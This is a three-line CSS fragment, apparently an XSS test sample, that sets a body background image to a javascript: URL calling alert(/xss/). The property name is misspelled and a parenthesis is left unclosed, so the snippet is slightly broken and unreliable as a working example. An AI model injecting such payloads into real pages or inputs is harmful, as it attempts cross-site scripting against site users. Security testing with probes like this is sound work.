body
{
  backgroud-image:url(javascript:alert(/xss/);
}